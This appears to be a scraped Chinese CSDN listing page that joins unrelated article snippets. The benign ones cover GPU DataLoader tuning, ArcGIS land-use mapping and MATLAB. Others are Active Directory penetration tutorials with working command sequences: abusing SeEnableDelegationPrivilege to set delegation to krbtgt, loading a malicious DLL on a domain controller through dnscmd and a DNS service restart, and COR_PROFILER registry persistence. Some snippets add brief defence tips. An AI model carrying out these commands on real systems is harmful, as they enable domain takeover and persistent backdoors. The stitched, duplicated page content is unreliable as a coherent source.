精华内容
下载资源
问答
  • 在深度学习模型训练过程中,在服务器端或者本地pc端,输入nvidia-smi来观察显卡的GPU内存占用率(Memory-Usage),显卡的GPU利用率(GPU-util),然后采用top来查看CPU的线程数(PID数)和利用率(%CPU)。...

            在深度学习模型训练过程中,在服务器端或者本地pc端,输入nvidia-smi来观察显卡的GPU内存占用率Memory-Usage),显卡的GPU利用率GPU-util),然后采用top来查看CPU的线程数(PID数)和利用率(%CPU)。往往会发现很多问题,比如,GPU内存占用率低,显卡利用率低,CPU百分比低等等。接下来仔细分析这些问题和处理办法。

    (ps:对于如何在Intel CPU,ARM架构CPU,以及Jetson TensorRT上部署深度学习模型,以及部署遇到的速度问题,该如何解决。请查看我的另外一篇文章。如何定制化编译Pytorch,TensorFlow,使得CNN模型在CPU,GPU,ARM架构和X86架构,都能快速运行,需要对每一个平台,有针对性的调整。如何做到最大化加速深度学习在不同平台部署性能。请看我的这篇文章。)

    深度学习模型部署性能分析,Intel和ARM CPU上CNN计算速度差距分析。

    1. GPU内存占用率问题

            这往往是由于模型的大小以及batch size的大小,来影响这个指标。当你发下你的GPU占用率很小的时候,比如40%,70%,等等。此时,如果你的网络结构已经固定,此时只需要改变batch size的大小,就可以尽量利用完整个GPU的内存。GPU的内存占用率主要是模型的大小,包括网络的宽度,深度,参数量,中间每一层的缓存,都会在内存中开辟空间来进行保存,所以模型本身会占用很大一部分内存。其次是batch size的大小,也会占用影响内存占用率。batch size设置为128,与设置为256相比,内存占用率是接近于2倍关系。当你batch  size设置为128,占用率为40%的话,设置为256时,此时模型的占用率约等于80%,偏差不大。所以在模型结构固定的情况下,尽量将batch size设置大,充分利用GPU的内存。(GPU会很快的算完你给进去的数据,主要瓶颈在CPU的数据吞吐量上面。)

    2. GPU利用率问题

            这个是Volatile GPU-Util表示,当没有设置好CPU的线程数时,这个参数是在反复的跳动的,0%,20%,70%,95%,0%。这样停息1-2 秒然后又重复起来。其实是GPU在等待数据从CPU传输过来,当从总线传输到GPU之后,GPU逐渐起计算来,利用率会突然升高,但是GPU的算力很强大,0.5秒就基本能处理完数据,所以利用率接下来又会降下去,等待下一个batch的传入。因此,这个GPU利用率瓶颈在内存带宽和内存介质上以及CPU的性能上面。最好当然就是换更好的四代或者更强大的内存条,配合更好的CPU。

            另外的一个方法是,在PyTorch这个框架里面,数据加载Dataloader上做更改和优化,包括num_workers(线程数),pin_memory,会提升速度。解决好数据传输的带宽瓶颈和GPU的运算效率低的问题。在TensorFlow下面,也有这个加载数据的设置。

    torch.utils.data.DataLoader(image_datasets[x],
                                batch_size=batch_size, 
                                shuffle=True,
                                num_workers=8,
                                pin_memory=True)

            为了提高利用率,首先要将num_workers(线程数)设置得体,4,8,16是几个常选的几个参数。本人测试过,将num_workers设置的非常大,例如,24,32,等,其效率反而降低,因为模型需要将数据平均分配到几个子线程去进行预处理,分发等数据操作,设高了反而影响效率。当然,线程数设置为1,是单个CPU来进行数据的预处理和传输给GPU,效率也会低。其次,当你的服务器或者电脑的内存较大,性能较好的时候,建议打开pin_memory打开,就省掉了将数据从CPU传入到缓存RAM里面,再给传输到GPU上;为True时是直接映射到GPU的相关内存块上,省掉了一点数据传输时间。

    3. CPU的利用率问题

            很多人在模型训练过程中,不只是关注GPU的各种性能参数,往往还需要查看CPU处理的怎么样,利用的好不好。这一点至关重要。但是对于CPU,不能一味追求超高的占用率。如图所示,对于14339这个程序来说,其CPU占用率为2349%(我的服务器是32核的,所以最高为3200%)。这表明用了24核CPU来加载数据和做预处理和后处理等。其实主要的CPU花在加载传输数据上。此时,来测量数据加载的时间发现,即使CPU利用率如此之高,其实际数据加载时间是设置恰当的DataLoader的20倍以上,也就是说这种方法来加载数据慢20倍。当DataLoader的num_workers=0时,或者不设置这个参数,会出现这个情况。

    CPU利用率查看结果
    CPU利用率查看结果

            下图中可以看出,加载数据的实际是12.8s,模型GPU运算时间是0.16s,loss反传和更新时间是0.48s。此时,即使CPU为2349%,但模型的训练速度还是非常慢,而且,GPU大部分是时间是空闲等待状态。

    num_workers=0,模型每个阶段运行时间统计

            当我将num_workers=1时,出现的时间统计如下,load data time为6.3,数据加载效率提升1倍。且此时的CPU利用率为170%,用的CPU并不多,性能提升1倍。

    num_workers=1时,模型每个阶段运行时间统计

            此时,查看GPU的性能状态(我的模型是放在1,2,3号卡上训练),发现,虽然GPU(1,2,3)的内存利用率很高,基本上为98%,但是利用率为0%左右。表面此时网络在等待从CPU传输数据到GPU,此时CPU疯狂加载数据,而GPU处于空闲状态

    1,2,3号GPU的内存占用率和计算效率截图

            由此可见,CPU的利用率不一定最大才最好。

            对于这个问题,解决办法是,增加DataLoader这个num_wokers的个数,主要是增加子线程的个数,来分担主线程的数据处理压力,多线程协同处理数据和传输数据,不用放在一个线程里负责所有的预处理和传输任务。

            我将num_workers=8,16都能取得不错的效果。此时用top查看CPU和线程数,如果我设置为num_workers=8,线程数有了8个连续开辟的线程PID,且大家的占用率都在100%左右,这表明模型的CPU端,是较好的分配了任务,提升数据吞吐效率。效果如下图所示,CPU利用率很平均和高效,每个线程是发挥了最大的性能。

    num_workers=8时,CPU利用率和8个连续PID任务

            此时,在用nvidia-smi查看GPU的利用率,几块GPU都在满负荷,满GPU内存,满GPU利用率的处理模型,速度得到巨大提升。

    优化数据加载num_workers=8,和设置batch size的结果

            上图中可以看见,GPU的内存利用率最大化,此时是将batch size设置的较大,占满了GPU的内存,然后将num_workers=8,分配多个子线程,且设置pin_memory=True,直接映射数据到GPU的专用内存,减少数据传输时间。GPU和CPU的数据瓶颈得到解决。整体性能得到权衡。

            此时的运行时间在表中做了统计:

    处理时间统计
    处理阶段 时间
    数据加载 0.25s
    模型在GPU计算 0.21s
    loss反传,参数更新 0.43s

    4. 总结

            对上面的分析总结一下,第一是增加batch size,增加GPU的内存占用率,尽量用完内存,而不要剩一半,空的内存给另外的程序用,两个任务的效率都会非常低。第二,在数据加载时候,将num_workers线程数设置稍微大一点,推荐是8,16等,且开启pin_memory=True不要将整个任务放在主进程里面做,这样消耗CPU,且速度和性能极为低下。

                                                                                                                                                                         

                                                                                                                                                                         

                                                                                                                                                                         

            Supplementary:看到大家在评论回复的问题比较多,所以再加一些叙述!

            开这么多线程。第一个,查看你的数据的batch_size,batchsize小了,主CPU直接就加载,处理,而且没有分配到多GPU里面(如果你使用的是多GPU);如果是单GPU,那么就是CPU使劲读数据,加载数据,然后GPU一下就处理完了,你的模型应该是很小,或者模型的FLOPs很小。检查一下模型问题。还有就是,现在这个情况下,开8个线程和1个线程,没什么影响,你开一个num_workers都一样的。如果速度快,没必要分配到多个num_workers去。当数据量大的时候,num_workers设置大,会非常降低数据加载阶段的耗时。这个主要还是应该配合过程。

            在调试过程,命令:top     实时查看你的CPU的进程利用率,这个参数对应你的num_workers的设置;

            命令:   watch -n 0.5 nvidia-smi    每0.5秒刷新并显示显卡设置。

    实时查看你的GPU的使用情况,这是GPU的设置相关。这两个配合好。包括batch_size的设置。

                                                                                                                                                                    时间:2019年9月20日

    5. 再次补充内容

            有很多网友都在讨论一些问题,有时候,我们除了排查代码,每个模块的处理信息之外,其实还可以查一下,你的内存卡,是插到哪一块插槽的。这个插槽的位置,也非常影响代码在GPU上运行的效率。

            大家除了看我上面的一些小的建议之外,评论里面也有很多有用的信息。遇到各自问题的网友们,把他们的不同情况,都描述和讨论了一下,经过交流,大家给出了各自在训练中,CPU,GPU效率问题的一些新的发现和解决问题的方法。

            针对下面的问题,给出一点补充说明:

            问题1: CPU忙碌,GPU清闲。

     数据的预处理,和加载到GPU的内存里面,花费时间。平衡一下batch size, num_workers。

            问题2:CPU利用率低,GPU跑起来,利用率浮动,先增加,然后降低,然后等待,CPU也是浮动。

    • 2.1 下面是具体的步骤和对策:

    在pytorch训练模型时出现以下情况, 情况描述: 首先环境:2080Ti + I7-10700K, torch1.6, cuda10.2, 驱动440 参数设置:shuffle=True, num_workers=8, pin_memory=True; 现象1:该代码在另外一台电脑上,可以将GPU利用率稳定在96%左右 现象2:在个人电脑上,CPU利用率比较低,导致数据加载慢,GPU利用率浮动,训练慢约4倍;有意思的是,偶然开始训练时,CPU利用率高,可以让GPU跑起来,但仅仅几分钟,CPU利用率降下来就上不去了,又回到蜗牛速度。

    •  可以采用的方法:

    两边的配置都一样吗。另一台电脑和你的电脑。你看整体,好像设置配置有点不同。包括硬件,CPU的核,内存大小。你对比一下两台设备。这是第一个。第二个,还是代码里面的配置,代码的高效性。你一来,CPU利用率低,你看一下每一步,卡到哪里,哪里是瓶颈,什么步骤最耗时。都记录一下每一个大的步骤的耗时,然后在分析。测试了每一个大的过程的时间,可以看见,耗时在哪里。主要包括,加载数据,前向传播,反向更新,然后下一步。

    • 2.2 经过测试之后,第二次问题分析:

    经过测试,发现本机卡的地方在加载图像的地方,有时加载10kb左右的图像需要1s以上,导致整个batch数据加载慢!代码应该没有问题,因为在其他电脑能全速跑起来;硬件上,本机的GPU,CPU都强悍,环境上也看不出差距,唯一差在内存16G,其他测试电脑为32G,请问这种现象和内存直接关系大吗?

    • 情况分析

    最多可能就在这边。你可以直接测试batch size为1情况下的整个计算。或者将batch size 开到不同的设置下。看加载数据,计算之间的差值。最有可能就是在这个load data,读取数据这块。 电脑的运行内存16g 32g。其实都已经够了,然后加载到GPU上,GPU内存能放下,影响不大。所以估计是你的内存相对小了,导致的问题。试一下。

    • 2.3 问题定位,解决方法:
    • 这台电脑的内存条插的位置不对,4个插槽的主板,1根内存的时候应该插在第2个插槽(以cpu端参考起),而组装电脑的商家不专业,放在了第4个插槽上,影响性能,更换位置后,速度飞起来了!关于插槽详情,有遇到的朋友去网上收,一大堆!

            在自己电脑,或者自己配的主机上,跑GPU的时候,记得注意查看你自己的内存卡是插到哪一个槽上的。

            补充时间:2021年1月15日

    5.1 再次新补充一些内容

            有网友补充了一些在执行上面的问题中遇到的实际问题,附上他的解决方法。

            使用win 10修改num_workers后可能会报错Broken pipe。

    解决方法:1. 把代码放到if __name__ == "__main__":下运行;或者2.num_workers默认为0即可;或者3. 在Linux进行代码运行

            有一些内容需要说明:在Windows下面,设置num_threads,除了在做数据加载的时候,设置num_workers,还可以用torch.set_num_threads(4)多线程,单线程,都会用多个CPU核,跑多个CPU core的的。只是CPU利用率不高。你设置8线程,12线程,CPU会在每个核上,都进行分配,只是单核的占用率,不一样。即使设置2线程,在6核12线程的CPU,也会在每个核心上,分配计算资源的。只是单核分配的很少。

    5.2 关于加速CPU端训练的方法(无GPU)

            在单独的CPU上,做训练,或者做推理,intel CPU提供了OpenMP 和MKL-DNN的加速库。一般torch或者TensorFlow都做了这一块的优化。可以查看你的pytorch版本,是否支持。

    print(torch.get_num_threads())
    print(torch.__config__.parallel_info())
    
    print(*torch.__config__.show().split("\n"), sep="\n")
    
    
    os.environ["OMP_NUM_THREADS"]="8"  #设置OpenMP计算库的线程数
    os.environ["MKL_NUM_THREADS"]="8"  # 设置MKL-DNN CPU加速库的线程数。
    torch.set_num_threads(8)

    print(torch.get_num_threads())
    print(torch.__config__.parallel_info())

    print(*torch.__config__.show().split("\n"), sep="\n")


    os.environ["OMP_NUM_THREADS"]="8"  #设置OpenMP计算库的线程数
    os.environ["MKL_NUM_THREADS"]="8"  # 设置MKL-DNN CPU加速库的线程数。
    torch.set_num_threads(8)

            分析:

            上面这几个,都可以试一下。看你的pytorch版本,是否在编译之后,支持MKL-DNN加速。为了能控制你使用的线程数,set_num_threads(8) 这个线程数的多少,可以自己按照需求来设定。当你全力跑网络模型,当然设置大点。如果需要留一部分CPU性能来做其他的业务,4线程,6线程?都可以。自己试一试。配合着任务管理器或者htop top 在linux下实时查看CPU使用状态和设置多线程数量的关系。来定性的分配。

            print(torch.__config__.parallel_info()) , 这个函数,查看你的pytorch支持的intel加速库的信息。

            print(*torch.__config__.show().split("\n"), sep="\n") , 这个函数,查看你编译过程中的信息。

            实测结果:

            有没有OpenMP支持,速度影响不是太大。在1-2s内的影响。所采用的pytorch版本是否支持mkl-dnn不影响。在mac arm m1芯片下,开启mkl-dnn,速度比没有开启快4s。44s 与 48s的差别。我们的平台,都是支持mkl-dnn。没有mkl-dnn,速度比有mkl-dnn编译的模型,慢1.5倍左右。

            结论:

            mkl-dnn有无,对性能影响不是很大,1-2x的影响。如果你需要这点性能,那么就要重点检测,你的pytorch版本,是否在编译过程中,设置了use_mkl=on,use_mkldnn=on。大多数情况下,咱们安装的pytorch官方版本,都在build过程中,设置了开启mkl加速选项。这是intel Math Kernel  Library for Deep Neural Networks (Intel® MKL-DNN) 专门针对intel CPU做的CPU端深度学习加速库。

            arm平台下,有无OpenMP和mkl-dnn不确定,要查看这个pytorch是否对arm 这个架构有支持。nvidia的arm平台,jetson这一类的,nvidia自己做了重新编译的,都适配了arm的CPU。

    再提醒一下:以上设置,如果不进行设计,默认为0,会按照最大的性能,来运行。

            补充时间:2021年6月25日。ps:有任何性能加速上遇到的问题,欢迎提出,我经常会查看大家的问题,能回答的都会回答。

    对于如何在Intel CPU,ARM架构CPU,以及Jetson TensorRT上部署,以及部署遇到的速度问题,该如何解决。请查看我的另外一篇文章。

    深度学习模型部署性能分析,Intel和ARM CPU上CNN计算速度差距分析。

    展开全文
  • SeEnableDelegationPrivilege权限的利用

    万次阅读 2020-12-23 16:43:00
    文章目录1. 前言2. SeEnableDelegationPrivilege...如何利用拥有SeEnableDelegationPrivilege权限的普通用户参考文章 1. 前言 SeEnableDelegationPrivilege权限的作用是配置约束性委派。拥有SeEnableDelegationPrivil

    1. 前言

    SeEnableDelegationPrivilege权限的作用是配置约束性委派。拥有SeEnableDelegationPrivilege权限的人可以配置任意一台主机的约束性委派,但这个权限一般情况下只有域控才有,如果在渗透过程中控制一个拥有SeEnableDelegationPrivilege权限的账户,那基本约等于控制了整个域。

    2. SeEnableDelegationPrivilege权限的拥有者是谁?

    1. 通过powerview

    以下命令需要导入powerview:

    Set-ExecutionPolicy Bypass -Scope Process
    . ./powerview.ps1
    Get-DomainPolicy -Source DC
    #看privilegerights的最后一项确定sid为S-1-5-32-544
    "S-1-5-32-544"|Convert-SidToName
    

    在这里插入图片描述
    在这里插入图片描述

    2. 通过GPO

    Get-DomainPolicy -Source DC
    type "\\test.com\sysvol\test.com\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
    "S-1-5-32-544"|Convert-SidToName
    

    第一条命令得到path的值,用第二条命令读path所指定的文件,看最后一行,确定sid后跟第一步使用"S-1-5-32-544"|Convert-SidToName来获取sid对应的用户:
    在这里插入图片描述在这里插入图片描述

    3.通过UserRights(只在域控上执行有效)

    下载地址:https://github.com/shanfenglan/test

    Set-ExecutionPolicy Bypass -Scope Process
    Import-Module .\UserRights.psm1
    Get-AccountsWithUserRight -right SeEnableDelegationPrivilege
    

    在这里插入图片描述

    3. 如何给其他用户配置SeEnableDelegationPrivilege权限

    需要导入userrights

    Grant-UserRight -Account zhangsan -Right SeEnableDelegationPrivilege
    Get-AccountsWithUserRight -Right SeEnableDelegationPrivilege
    

    在这里插入图片描述
    给zhangsan账号添加一个任意的spn:

    setspn -s test/zhangsan zhangsan
    

    在这里插入图片描述
    设置zhangsan账号对整个域的完全控制权限:

    Add-DomainObjectAcl -TargetIdentity zhangsan -PrincipalIdentity zhangsan -Rights All
    

    验证:

    Get-DomainObjectAcl | ?{$_.SecurityIdentifier -match "S-1-5-21-3763276348-88739081-2848684050-1110"} | select objectdn,ActiveDirectoryRights
    

    在这里插入图片描述
    更新组策略:gpupdate /force

    以上四步缺一不可


    setspn -U zhangsan #查询zhangsan的spn
    在这里插入图片描述

    4.如何利用拥有SeEnableDelegationPrivilege权限的普通用户

    先导入powerview跟userrights

    1.查询已有的配置了约束性委派的机器
    发现没有配置。

    Get-DomainComputer -TrustedToAuth -Domain test.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto
    

    在这里插入图片描述

    2.确定当前用户具有SeEnableDelegationPrivilege权限

    whoami /all
    Get-DomainPolicy -Source DC
    type "\\test.com\sysvol\test.com\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
    

    在这里插入图片描述
    对比后发现当前用户的sid在SeEnableDelegationPrivilege的值中。

    3.利用当前用户的权限配置主机的约束性委派

    Set-ExecutionPolicy Bypass -Scope Process
    . ./powerview.ps1
    Get-ADObject -Identity "evilsystem" | Set-ADObject -Set @{ "msDS-AllowedToDelegateTo"=("krbtgt/test.com")}
    

    参考文章

    域渗透——SeEnableDelegationPrivilege的利用
    那些从未听过的高危用户权限
    Windows内网协议学习LDAP篇之域权限下
    一种深度隐秘的域后门方式

    展开全文
  • 优势:不用执行psexec等远控程序,利用方式偏冷门。 劣势:对权限要求比较苛刻(要能够修改sysvol下script文件夹的权限) 2.实现过程 3.对抗方式 4.参考文章 域渗透——利用dnscmd在DNS服务器上实现远程加载Dll ...

    1.前言

    这是一种渗透技巧,并不能算是漏洞。
    优势:不用执行psexec等远控程序,利用方式偏冷门。
    劣势:对权限要求比较苛刻(要能够修改sysvol下script文件夹的权限),一般需要即在domain admins组又要在本地的administrators组。

    2.实现过程

    1. 定制恶意dll,这种恶意dll必须定义导出函数名:
    • DnsPluginInitialize
    • DnsPluginCleanup
    • DnsPluginQuery
      模版-----》https://github.com/3gstudent/Add-Dll-Exports
    1. 将生成的恶意dll上传到sysvol下的script文件夹内,这一步比较麻烦,因为很多用户即使是域管都有可能没有这个权限。如下图,只有在这台主机上的本地administrators组的用户有这个权限。
      在这里插入图片描述
      下图中builtin\administrators组是一个sql相关的内置用户,第二行是表示认证用户。
      在这里插入图片描述
      可以使用impacket套件的工具获取域控的shell,然后将恶意dll下载到域控上,然后使用copy命令上传到sysvol下的script文件夹。
      在这里插入图片描述

    2. 下载dnscmd.exe到当前机器的c:/windows/system32/,这时候已经不需要域控机器的shell了
      可用下载地址:
      https://github.com/3gstudent/test/blob/master/dnscmd.exe

    3. 下载dnscmd.exe.mui保存在C:\Windows\System32\en-US下
      可用下载地址:
      https://github.com/3gstudent/test/blob/master/dnscmd.exe.mui

    4. 执行命令:
      dnscmd 域控ip /config /serverlevelplugindll \\wlaq.com\SYSVOL\wlaq.com\scripts\你上传的恶意dll

    5. 使用net use命令共享域控的 admin$。

    net use \\10.95.16.96\admin$ /user:"wlaq\admin" "admin"
    
    1. 使用sc命令先关闭,后开启dns服务:
    sc \\10.95.16.96 stop dns
    sc \\10.95.16.96 start dns
    
    1. 这时候域控主机上就会用system权限加载我们上传的dll。
      在这里插入图片描述

    3.对抗方式

    1. 保护自己域管理员的hash
    2. 配置好sysvol文件夹的修改权限,确保只有绝对安全的用户可以修改。
    3. 记录DNS服务的启动和停止
      wevtutil qe “dns server” /rd:true /f:text
      ID为2代表DNS服务启动,ID为4代表DNS服务关闭
      在这里插入图片描述

    4.参考文章

    域渗透——利用dnscmd在DNS服务器上实现远程加载Dll

    展开全文
  • ArcGIS中的土地利用变化分析

    万次阅读 多人点赞 2017-09-10 19:40:35
    一、不同时期的土地利用矢量数据,如何分析其图形及属性变化? 土地利用图(左图为1993年,右图为2003年) 思路如下: 可以先对2个图层进行Union操作,然后在结果中新建一个字段,分析属性的变化。如果属性...

    本篇主要是针对矢量数据的分析。

    统计的操作视频,点击这里观看。
    用地变化分析操作视频,点击这里观看。
    转移矩阵操作视频,点击这里观看。

    一、不同时期的土地利用矢量数据,如何分析其图形及属性变化?


    土地利用图(左图为1993年,右图为2003年)

    思路如下:

    可以先对2个图层进行Union操作,然后在结果中新建一个字段,分析属性的变化。如果属性没变,就赋值为1,如果属性变化了就赋值为0。

    操作步骤如下:

    1、将两个图层的属性放到一个图层里。

    使用GP工具Union(联合)。注意JoinAttribute,选择All,也就是结果中包含两个图层的所有字段。

    结果属性表如下:

    Unoin可以将数据的属性合并到一起,同时,图斑不一样的区域也可以拆分开。见下图:

    2、新建一个短整型字段。

    3、使用字段计算器,比较两个字段的内容。如果属性没变,就赋值为1,如果属性变化了就赋值为0。这里我们定义isSame()函数,在函数中比较字段值,相同就赋值1,不相同就赋值0。

    Python代码如下:

    Pre-Logic Script Code中写:

    def isSame(x, y):
        fieldA = str(x)
        fieldB = str(y)
        if fieldA == fieldB:
            return 1
        else:
            return 0
    

    变化中写:(比较的是Class_Name和Class_Name1两个字段)

    isSame( !Class_Name! , !Class_Name_1! )
    

    简单方法:
    Python语法中比较字段值是否相等,可以用 == 。注意,中间不能有空格。所以表达式可以简化为:
    !Class_Name! == !Class_Name_1!

    在这里插入图片描述
    结果如下:

    如果想知道变化的图斑是从什么类型转为什么类型,可以新建一个文本型字段,将土地利用类型的两个字段赋值过去。

    结果如下:

    二、如何统计不同土地利用类型的面积?

    使用GP工具Summary Statistics(汇总统计数据),统计各类的总面积。

    结果是一张统计表,如下:

    三、如何统计不同区域各类土地利用类型的面积?

    可以使用GP工具Tabulate Intersection(交集制表)进行统计。

    结果如下:

    四、如何将行政区划的信息追加到土地利用数据中?

    有一份行政区划矢量数据,希望知道每个图斑隶属于哪个行政区划。数据可以是行政区域,也可以是坡度及其他数据。

    一个图斑可能会跨区域,如果图斑需要切分,一部分属于行政区划A,另一部分属于B,可以使用GP工具Intersect(相交),参数中的JoinAttribute,选择All。结果如下:

    如果不希望图斑被切分,在属性表中记录属于A、B、C区,可以使用GP工具Spatial Join(空间连接)。

    在区域名字段上右键,合并规则选择连接,其他设置默认就可以了。

    结果如下:

    五、如何制作土地利用变化转移矩阵?


    对于分类后的土地利用栅格数据,在ENVI里很容易计算土地利用变化矩阵。针对矢量数据,我们可以在ArcGIS中统计数据,然后在Excel中制作矩阵。

    思路如下:

    1、对两期土地利用数据分别进行融合Dissolve(融合)操作,使每个土地利用类型仅有一条记录;
    2、再对融合的结果进行Intersect(相交)操作,分析土地利用变化;
    3、转出为Excel表;
    4、在Excel中采用透视表进行统计。


    模型如下:

    针对上面的操作思路,制作了一个Model模型,转出结果为Excel。模型内容如下:
    模型下载网址,链接:https://pan.baidu.com/s/1pKNHDeb 密码:n9hy

    双击工具箱中此工具,界面如下:

    关于土地利用转移矩阵模型,适用ArcMap 10.2及以上版本。如何打开模型,编辑模型,见下图操作。大家可以参考模型中的工具,自己来制作这个模型。模型构建参考帮助文档:在模型构建器中执行工具

    这里写图片描述

    结果为一个Excel表格,制作透视图方法如下:

    1、点击数据透视图,然后选中所有区域的数据;

    2、先勾选第一期的土地利用类型字段;

    3、再将第二期的土地利用类型字段拖拽到透视图的第一行位置;

    4、最后将面积字段拖拽到透视图的中间空白位置;

    再修改下字头内容,添加下边框,土地利用转移矩阵就做好了。

    关于制图及出图,可以参考ArcGIS制图及出图小技巧——以土地利用图为例

    更新了土地整理中的小案例,欢迎查看。

    欢迎关注公众号,之后会发操作视频哦。

    在这里插入图片描述

    展开全文
  • SIDHistory属性的利用

    万次阅读 2020-12-24 11:20:51
    利用思路3.1 权限维持3.2 利用当前用户的sidhistory属性防御方法 1. 前言 SIDHistory属性的存在是为了解决用户在迁移到另一个域中的时候权限会改变的问题。例如用户zhangsan在A域中本来是管理员,迁移到B域的时候...
  • 利用telemetry进行权限维持

    万次阅读 2020-12-10 11:54:29
    文章目录利用条件达成效果利用过程原理防御手法 利用条件 本地管理员权限(绕过UAC) 有Compatelrunner命令 系统版本:2008R2/Windows 7 through 2019/Windows 10 达成效果 每天以system权限执行一次后门文件 利用...
  • 利用DSRM账号进行权限维持

    万次阅读 2020-11-26 16:39:34
    实现3.1 更改DSRM明文密码3.2 利用域内其他用户的hash去同步DSRM的密码4.防御方法参考文章 1.前言 今天看了内网加固方面的知识,发现了一个加固方案是针对DSRM攻击的,于是就查了一下什么是DSRM攻击,因此有了这篇...
  • 利用AdminSDHolder进行权限维持

    万次阅读 2020-12-23 18:08:58
    文章目录前言利用思路参考文章 前言 AdminSDHolder可以理解成是域内很多个组的集合体,如果一个用户能完全控制AdminSDHolder,那么它就能同时控制域内的许多组,AdminSDHolder内部的组如下: Administrators ...
  • 利用ENVI绘制土地利用

    万次阅读 多人点赞 2020-06-07 17:24:36
    下载武汉市的遥感影像图,任意选择一种分类方法,把影像上的土地利用/覆盖的类型分出来(要求将土地利用/覆盖的类型分为农用地、林地、草地、水体、建筑用地、未利用地6大类),并对分类结果进行评价,分析精度,...
  • 利用JSoup模拟登录了校园内网,而校园内网中又有很多链接,譬如知网以及教务系统等等。本文要做的就是利用登录内网拿到的cookies去访问这些链接。
  • New-ItemProperty "HKCU:\Environment\" COR_ENABLE_PROFILING -value "1" -propertyType string | Out-Null New-ItemProperty "HKCU:\Environment\" COR_PROFILER -value "{11111111-1111-1111-1111-111111111111}...
  • 利用PCA对半导体制造数据(1567 X 590)进行降维。
  • 利用Python做一个漂亮小姐姐词云跳舞视频

    万次阅读 多人点赞 2021-01-28 16:58:12
    利用Python做一个漂亮小姐姐词云跳舞视频。实现思路:1. 下载视频 2. 获取弹幕内容 3. 从视频中提取图片 4. 利用百度AI进行人像分割 5. 小姐姐跳舞词云生成 6. 合成跳舞视频 7. 视频插入音频 B站上的漂亮的小姐姐真...
  • 利用matlab画地图

    万次阅读 多人点赞 2018-09-30 13:08:16
    方法一:利用GIS画图 中国国家基础地理信息系统(GIS)数据 Geographic Information System (GIS) Basic Data of China中国国家基础地理信息系统(GIS)数据,包...
  • ArcGIS制图及出图小技巧——以土地利用图为例

    万次阅读 多人点赞 2019-03-08 23:37:14
    2、批量修改符号 对于设置好的土地利用图,去掉每个类别外边线的颜色,打开图层的【符号系统】,批量修改。 二、关于出图 1、快速调整数据框以适应纸张大小 在进行地图排版时,纸张大小或版式发生变化,需要调整...
  • 作业:利用AdaBoost对马疝病数据集(horseColic)进行分类预测
  • https://blog.csdn.net/Mind_programmonkey/article/details/102732555 ... 四、RTMP Client RTMP客户端使用videojs实现了在浏览器中的展示,demo如下 https://blog.csdn.net/steveyg/article/details/86488706
  • 如何利用matlab求解方程

    万次阅读 多人点赞 2018-04-22 12:46:54
    如何利用matlab求解方程1. 前言作为三大数学软件之一,matlab在数值计算方法的能力首屈一指。求解方程是工科学习和工程计算中最基础、最常见的问题。掌握利用现代化工具求解方程的方法对于提升我们的工科素养至关...
  • 作业:利用朴素贝叶斯(Naive Bayes)原理对垃圾邮件进行过滤。
  • JavaScript利用函数

    万次阅读 2021-04-02 21:43:15
    JavaScript利用函数 <!DOCTYPE html> <html> <head> <script> function myFunction() { document.getElementById("demo").innerHTML = "段落已被更改。"; } </script> </head>...
  • 博主路一瓢的博文:Tensorflow实例:利用LSTM预测股票每日最高价(一)Tensorflow实例:利用LSTM预测股票每日最高价(二)在以上两篇博文中,博主介绍了RNN和LSTM,并使用LSTM实现了股票预测的例子,让人受益匪浅。...
  • 利用Landsat8 进行利用土地分类

    千次阅读 多人点赞 2017-08-17 15:14:00
    1 波段合成 数据管理工具—栅格—栅格处理—波段合成(选取753或543... 利用影像分类工具选取训练样本,自己选取分类的数量 利用散点图判别训练样本的精度,分散越明显越精确 然后...
  • PdfRenderer将Jsoup爬取的PDF文件转为Bitmap,然后利用ImageView展示。
  • windows九大权限的分析与利用

    万次阅读 2020-12-30 16:32:24
    常见的权限集合可被进一步利用的权限3.补充:权限的状态到底有什么意义4.利用4.1 SeImpersonatePrivilege4.2 SeAssignPrimaryPrivilege4.3 SeTcbPrivilege4.4 SeBackupPrivilege4.5 SeRestorePrivilege4.6 ...
  • 四、利用的变体 原文:Exploiting Format String Vulnerabilities 作者:scut@team-teso.net 译者:飞龙 日期:2001.9.1 版本:v1.2 漏洞利用是一门艺术。就像任何艺术一样,有不止一种完成事情的方式...
  • arcgis制作土地利用转移矩阵

    千次阅读 多人点赞 2020-07-05 21:49:09
    1.首先下载土地利用的影像,在这里我用的是资源环境数据云平台的数据,分别为1980年与2015年的土地利用栅格影像,然后打开影像。 2.下载影像后进行重分类影像,因为影像原分类是二级分类,我这里需要的是一级分类...
  • 更别说什么土地利用分类的制作了。在这里,我将会用最为直接的图形流程操作来给像我一样初识遥感的童鞋们讲解一下制作土地利用的整个过程。 首先,我先用一幅流程图来概括一下制作土地利用的整个过程。如下图1所示...
  • XSS利用方式

    千次阅读 2018-01-16 16:54:06
    今天要研究的是XSS的利用,曾经有人问我XSS怎么利用的,我也只知道XSS在网页中嵌入代码,获取目标IP、Cookie,但是从来没有实践过,今天浏览FreeBuf时,发现一篇XSS利用文章,哈哈哈……于是乎,实践一下…… ...
  • 遥感图像预处理与土地利用动态监测

    万次阅读 多人点赞 2019-12-13 16:53:37
    对池州市 2013、2017 年 Landsat 8 OLI 的遥感图像进行土地利用分类,对分类结果进行修正和精度评价,并对各类土地利用类型的面积进行统计。基于计算机分类结果,生成土地利用动态变化专题图,分析主要的土地利用...
  • GPU利用率与使用率

    千次阅读 2019-02-28 14:52:28
    GPU利用率 广义的GPU利用是指对GPU利用率效率,包括GPU空间和时间上的利用效率。 狭义的GPU利用率是指GPU时间片上的利用率; GPU可用的物理资源有哪些? GPU可利用资源:SM (计算单元)MEM(存储) Encoder...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 5,382,828
精华内容 2,153,131
关键字:

利用